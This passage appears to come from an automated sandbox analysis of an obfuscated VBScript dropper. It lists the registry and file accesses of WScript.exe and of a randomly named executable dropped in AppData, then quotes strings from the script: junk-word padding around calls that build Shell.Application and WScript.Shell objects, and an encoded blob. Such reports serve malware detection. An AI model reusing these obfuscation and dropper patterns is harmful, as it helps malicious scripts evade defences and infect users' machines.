"QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0002E005-0000-0000-C000-000000000046}\INPROCSERVER32"; Key: "THREADINGMODEL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\PACKAGEDCOM\PACKAGE\MICROSOFT.MICROSOFT3DVIEWER_5.1811.27012.0_X64__8WEKYB3D8BBWE"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\PACKAGE\MICROSOFT.MICROSOFT3DVIEWER_5.1811.27012.0_X64__8WEKYB3D8BBWE\CLASS\{4834AC27-23F1-420A-888D-85DC70B903C5}"; Key: "SERVERID"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\PACKAGE\MICROSOFT.MICROSOFT3DVIEWER_5.1811.27012.0_X64__8WEKYB3D8BBWE\CLASS\{4834AC27-23F1-420A-888D-85DC70B903C5}"; Key: "DISPLAYNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\PACKAGE\MICROSOFT.MICROSOFT3DVIEWER_5.1811.27012.0_X64__8WEKYB3D8BBWE\CLASS\{4834AC27-23F1-420A-888D-85DC70B903C5}"; Key: "SHORTDISPLAYNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\PACKAGE\MICROSOFT.MICROSOFT3DVIEWER_5.1811.27012.0_X64__8WEKYB3D8BBWE\CLASS\{4834AC27-23F1-420A-888D-85DC70B903C5}"; Key: "PROGID"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\PACKAGE\MICROSOFT.MICROSOFT3DVIEWER_5.1811.27012.0_X64__8WEKYB3D8BBWE\CLASS\{4834AC27-23F1-420A-888D-85DC70B903C5}"; Key: "VERSIONINDEPENDENTPROGID"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\PACKAGE\MICROSOFT.MICROSOFT3DVIEWER_5.1811.27012.0_X64__8WEKYB3D8BBWE\CLASS\{4834AC27-23F1-420A-888D-85DC70B903C5}"; Key: "ENABLEOLEDEFAULTHANDLER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\PACKAGE\MICROSOFT.MICROSOFT3DVIEWER_5.1811.27012.0_X64__8WEKYB3D8BBWE\CLASS\{4834AC27-23F1-420A-888D-85DC70B903C5}"; Key: "INSERTABLEOBJECT"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\PACKAGE\MICROSOFT.MICROSOFT3DVIEWER_5.1811.27012.0_X64__8WEKYB3D8BBWE\CLASS\{4834AC27-23F1-420A-888D-85DC70B903C5}"; Key: "AUTOCONVERTTO"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\PACKAGE\MICROSOFT.MICROSOFT3DVIEWER_5.1811.27012.0_X64__8WEKYB3D8BBWE\CLASS\{4834AC27-23F1-420A-888D-85DC70B903C5}"; Key: "DEFAULTICON"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\PACKAGE\MICROSOFT.MICROSOFT3DVIEWER_5.1811.27012.0_X64__8WEKYB3D8BBWE\CLASS\{4834AC27-23F1-420A-888D-85DC70B903C5}"; Key: "DEFAULTFORMATNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\PACKAGE\MICROSOFT.MICROSOFT3DVIEWER_5.1811.27012.0_X64__8WEKYB3D8BBWE\CLASS\{4834AC27-23F1-420A-888D-85DC70B903C5}"; Key: "DATAFORMATS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\PACKAGE\MICROSOFT.MICROSOFT3DVIEWER_5.1811.27012.0_X64__8WEKYB3D8BBWE\CLASS\{4834AC27-23F1-420A-888D-85DC70B903C5}"; Key: "CONVERSIONREADABLE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\PACKAGE\MICROSOFT.MICROSOFT3DVIEWER_5.1811.27012.0_X64__8WEKYB3D8BBWE\CLASS\{4834AC27-23F1-420A-888D-85DC70B903C5}"; Key: "CONVERSIONREADWRITABLE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\PACKAGE\MICROSOFT.MICROSOFT3DVIEWER_5.1811.27012.0_X64__8WEKYB3D8BBWE\CLASS\{4834AC27-23F1-420A-888D-85DC70B903C5}"; Key: "MISCSTATUSDEFAULT"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\PACKAGE\MICROSOFT.MICROSOFT3DVIEWER_5.1811.27012.0_X64__8WEKYB3D8BBWE\CLASS\{4834AC27-23F1-420A-888D-85DC70B903C5}"; Key: "TOOLBOXBITMAP32"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\PACKAGE\MICROSOFT.MICROSOFT3DVIEWER_5.1811.27012.0_X64__8WEKYB3D8BBWE\CLASS\{4834AC27-23F1-420A-888D-85DC70B903C5}"; Key: "DLLPATH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\PACKAGE\MICROSOFT.MICROSOFT3DVIEWER_5.1811.27012.0_X64__8WEKYB3D8BBWE\CLASS\{4834AC27-23F1-420A-888D-85DC70B903C5}"; Key: "THREADING"; Value: "")35:T904,"WScript.exe" trying to access non-existent file "C:\Program Files\Common Files\system\ado\MSDART.DLL" "WScript.exe" trying to access non-existent file "C:\Program Files\Common Files\System\ado\MSDART.DLL" "WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\SLC.DLL" "WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\platform\4.12.17007.18022-0\SLC.dll" "WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\SPPC.DLL" "WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\platform\4.12.17007.18022-0\sppc.dll" "WScript.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\$LBD34FNL_2_@%9O3.EXE" "WScript.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\$Lbd34FNl_2_@%9O3.exe" "?Lbd34FNl_2_@%9O3.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "?Lbd34FNl_2_@%9O3.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\WINMM.DLL" "?Lbd34FNl_2_@%9O3.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\WININET.DLL" "?Lbd34FNl_2_@%9O3.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\WINMMBASE.DLL" "?Lbd34FNl_2_@%9O3.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\IPHLPAPI.DLL" "?Lbd34FNl_2_@%9O3.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\BCRYPT.DLL" "?Lbd34FNl_2_@%9O3.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\VERSION.DLL" "?Lbd34FNl_2_@%9O3.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\WTSAPI32.DLL" "?Lbd34FNl_2_@%9O3.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\WINHTTP.DLL" "?Lbd34FNl_2_@%9O3.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\SHFOLDER.DLL" "?Lbd34FNl_2_@%9O3.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\WSOCK32.DLL" "?Lbd34FNl_2_@%9O3.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\FLTLIB.DLL" "?Lbd34FNl_2_@%9O3.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\CRYPTSP.DLL"36:T7cd,"WScript.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "WScript.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\ZDZOQVJS1RK&MQKM.QQX" "WScript.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\ZdZoqVJs1Rk&mQkM.qqx" "WScript.exe" trying to access non-existent file "C:\Windows\System32\WSCRIPT.EXE.LOCAL" "WScript.exe" trying to access non-existent file "C:\WINDOWS\System32\WScript.exe.Local\" "WScript.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\DESKTOP.INI" "WScript.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\ANDUGMIFSOXFXCDLOIBF.QQX" "WScript.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\ANDugmifSoXFxcdLoiBF.qqx" "WScript.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\$Lbd34FNl_2_@%9O3.zip:ZONE.IDENTIFIER" "WScript.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\$Lbd34FNl_2_@%9O3.zip:Zone.Identifier" "WScript.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\$Lbd34FNl_2_@%9O3.exe:ZONE.IDENTIFIER" "WScript.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\$Lbd34FNl_2_@%9O3.exe:Zone.Identifier" "WScript.exe" trying to access non-existent file "C:\Windows\WinSxS\FileMaps\USERS_%OSUSER%_APPDATA_LOCAL_774ADED08B1233AC.CDF-MS" "WScript.exe" trying to access non-existent file "\SystemRoot\WinSxS\FileMaps\users_%OSUSER%_appdata_local_774aded08b1233ac.cdf-ms" "?Lbd34FNl_2_@%9O3.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\WINSPOOL.DRV" "?Lbd34FNl_2_@%9O3.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\$LBD34FNL_2_@%9O3.EXE.LOCAL" "?Lbd34FNl_2_@%9O3.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\DBXCONNECTIONS.INI" "?Lbd34FNl_2_@%9O3.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\dbxconnections.ini"37:T59e9,Observed string: "isy chocolate lily sister.FgtmpQdqL=BfHPkdsuLyNl("\ ^@(?!-/]")'newspaper blanket post answer note debit middle exchange capital passport brother add rubber battery chat playground help harbor daisy jump cabinet jeans split bitter guest microphone sale spider bridge lesson wage package invoice cave pizza card fall holiday border ticket sunflower short file subject daisy dry ear cyclone file mirror job beach coyote market yes later want random belly sometimes friend workshop charity village nephew shame spirit symbol corn beach yogurt beach shallow lightning package simple game pull loud couch tunnel alley outdoor hawk main guilt screen id ticket class summer mirror letter bus truth boil task thick printer steam frost penguin case yard file wash parent appointment.'engineer call stone finger cape spicy test eight lunch salt plant old pasta stop cap movie random bus ride smell two score mountain wildfire bike rope binder soil coach goat root oil head pass job watermelon coffee inside red website head fathe" (Indicator: " finger ") in Source: ArbitrjMA4E2328cbjh-YTKFM8RVL958427ZIXJIL.vbs, Observed string: "sun reply one party desk horse fish dull root wednesday idea price weather middle play tram open library west drug sheet pea bread drink test leaf plum friend rainbow legal late card stable watch buy middle curtain bike grape red singer blog wake deep yellow black send homework poor purse fuel trip corner breakfast call emotion envelope hill peace gulf office plan may rooftop mirror wife rice finger grill summer apple sunday summer umbrella work boss spicy fire saxophone keep tornado risk thin kitchen energy rarely tablet load road avocado potato valley tour taco polite cold watch spoon county head reason pass fish true light rubber hate mail worker.'center frog bake pillow stapler discount calendar soft canyon meat delivery tie proud gate lease candle stare scarf closed tree market seven marry always midnight silver computer empty town farmer start cough laptop drink friend fine cafe dust image uncle alley kite ball feel short empty call brush debit court office audio pay gift guide stack doctor cave party" (Indicator: " finger ") in Source: ArbitrjMA4E2328cbjh-YTKFM8RVL958427ZIXJIL.vbs, Observed string: "et job canvas wedding journey global elevator upstairs soil risk blood drum desert paste event towel beach balance soap cat district often inside bed test laugh front card skirt grey school course sound hospital stamp desk airport kitchen pickup forest target schedule baby dance paste sound first bean video bread ten october daisy square bottle book keyboard inside class garden delivery chili fork citizen rug meat pencil mother strong audio spring train film family one chess straw online delivery chicken pear smoke messy partner wife dead ferry win hope bear juice teacher back stare emergency young cow speak pier rabbit short ticket always bottle rainbow stage sister nephew earthquake door chapter sketch pickup alarm winter wood lose festival mirror watch kiwi blanket station test leaf youth lesson pass.'sound shore line wolf glasses winter january grill corn board charge sell dirty top plate gold lamp pier novel exchange classic trash ferry course finger stream boss sugar stool polite copy mouse unfold moo" (Indicator: " finger ") in Source: ArbitrjMA4E2328cbjh-YTKFM8RVL958427ZIXJIL.vbs, Observed string: "olor pen napkin hospital sailor tuesday paste order december truth house gate toothpaste.Set rgiNFOKMJRhra=CreateObject(BfHPkdsuLyNl("She,^@(?!-/]ll.,^@(?!-/]A,^@(?!-/]ppl,^@(?!-/]ication"))'square breakfast deluxe mug clean play rumor car watch eye message soap id strong motel unofficial mayonnaise street truth finger milk grandmother shallow permit basic hinge valid always calendar toothbrush idea map license park blouse buyer cape spicy cabbage chef yogurt father busy ball team mirror ceiling living brave body library house bee guard midnight vague manager motorcycle post jump mark frog lose blueberry little spring teacher caution day public cousin ice bake gift.Set zCGZhElgE=rgiNFOKMJRhra.NameSpace(IKzdbKFqumd)'curry calendar fork cold childhood page teeth later garden park gift adult upstairs draw laptop skirt snow course partner west gift blog nurse plane young pill match dog watch waist vague drink stair inside bronze file towel bedroom square later sort sport homework brain taco band thunder p" (Indicator: " finger ") in Source: ArbitrjMA4E2328cbjh-YTKFM8RVL958427ZIXJIL.vbs, Observed string: "tie close field seven mall clean pink chorus clock guilt elevator sunglasses computer shoulder bird anywhere parcel busy bill light parcel cabbage play music music brush power wood nine trash market square quiet solar square goal back sign child corner joyful friend author photo deep lego save tidy moon visa student elbow chair market chocolate one picture add toothpaste glasses now husband bee canvas visa injury dirty printer design leather zucchini ball sky learn income zebra light beta sing country heart lego everywhere fry drawing join fact present rain warm rice strawberry grandma partner add school peach balcony invoice face butter nature pepper.Set rgiNFOKMJRhra=CreateObject(BfHPkdsuLyNl("WS,^@(?!-/]c,^@(?!-/]ript,^@(?!-/].Shel,^@(?!-/]l"))'fish lose frost family marsh pie package downstairs three rumor dock start kind clip hold cloth river alley doll soon finger email frost gate country lane pizza faucet song monkey bar body camera letter cost downstairs pear rough purse win scene offer meat art" (Indicator: " finger ") in Source: ArbitrjMA4E2328cbjh-YTKFM8RVL958427ZIXJIL.vbs, Observed string: "write subway soft buyer pants score write pen sugar repair hinge close county mother childhood clip loud random decoration broom soap bright sunglasses sock blouse folder square panda gas break copy child rain journal checkers desk sport star butter huge brother pharmacy wide color aunt fruit smartphone culture elder laboratory bedroom neighbor class laugh receive cauliflower panda deer paper freezer chess kiwi lock scholl orchid load evening busy actor wolf replace bear lunch june airplane hoodie hand midnight order wildfire wave woods rarely holiday patient backpack lock peek afternoon rent pull gold.'soup classmate april house sofa weak travel journey lie cucumber coast tunnel pin task bowl call white dust delivery study score peach soup baker burger dining root jungle hug gloves february finger nature market photo saturday trail elbow wife pass stage cyclone rhythm scarf fiance taste open cause house mouse kangaroo symbol syrup airplane jam blanket party burrito cousin hot wind balance field barbecue r" (Indicator: " finger ") in Source: ArbitrjMA4E2328cbjh-YTKFM8RVL958427ZIXJIL.vbs, Observed string: "#UJpP%&K7yyQ)B7QL$MlikmS)MtHOhBPj%!L7lR>uaSr1s>Xu5xaE*tNm@pUjsD$7yP)F8!oPkxafYHthkKEsnVvEEP3bH>nVUXCT%t5J<$c(e%dRHU9jEicoHx3I88o69!vdgT&7TYnuePFH*6)cLaKxdbvIIn*NK!YA5qm$N0ISjTbD4TFF(T>xKEFH6UdUMUCitI%qbP6gXr#6bRsIb>jcxnrG%R3ymqadB5jE@Fcta2keXXENeD48XuKI66V@(!MT0(pq6!t(YMPdYA1R(hKRX1XvAL>d$TKs2!N$pdiV%jMl>F#NXHiNFf1DsU(OgpSq6Rr3ir9p9A3L!r(*$iq0KdnP0E@JDIxMf)x(6v3PQ6s6lH35ZiNA2EK*iF#hNz9BlCO&3KqRGa4rZsNfvV*GB$0A*qUhs